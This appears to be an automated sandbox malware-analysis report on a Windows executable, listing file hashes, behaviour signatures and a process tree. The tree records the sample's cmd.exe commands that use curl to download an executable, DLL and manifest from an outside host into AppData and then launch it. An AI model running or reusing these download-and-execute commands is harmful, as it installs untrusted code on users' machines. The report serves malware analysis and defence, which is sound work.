Analysis

  • max time kernel
    4294183s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20220310-en
  • submitted
    22/03/2022, 09:41

General

  • Target

    98b082b4d65dfe4ee5b227575d1c08ef.exe

  • Size

    215KB

  • MD5

    98b082b4d65dfe4ee5b227575d1c08ef

  • SHA1

    21d9d7f91bdab90a3900832404be3bab06e82c03

  • SHA256

    e7767ba8bcff3242dd32f880cb59894c3ce5615a2557504db976803cd246354e

  • SHA512

    e7e46e85699716dec1aedce1dbc7e995f5507b1de137c77110225e162ac2ffcfeedd50f2e5292302043f445ef0eaf7fc551edcf43a195d815c2c1f15469dc8c1

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\98b082b4d65dfe4ee5b227575d1c08ef.exe
    "C:\Users\Admin\AppData\Local\Temp\98b082b4d65dfe4ee5b227575d1c08ef.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\Users\Admin\AppData\Roaming\EdgeData
      2⤵
        PID:1032
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c curl http://sincheats.com/gas/12/HF.exe --output C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
        2⤵
          PID:2044
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c curl http://sincheats.com/gas/12/HF.dll --output C:\Users\Admin\AppData\Roaming\EdgeData\A.dll
          2⤵
            PID:1660
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c curl http://sincheats.com/gas/12/HF.exe.manifest --output C:\Users\Admin\AppData\Roaming\EdgeData\A.exe.manifest
            2⤵
              PID:1136
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Roaming\EdgeData\A.exe
              2⤵
                PID:1132

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  • memory/1132-54-0x00000000753C1000-0x00000000753C3000-memory.dmp

                    Filesize

                    8KB

                  • memory/1132-65-0x0000000000460000-0x0000000000461000-memory.dmp

                    Filesize

                    4KB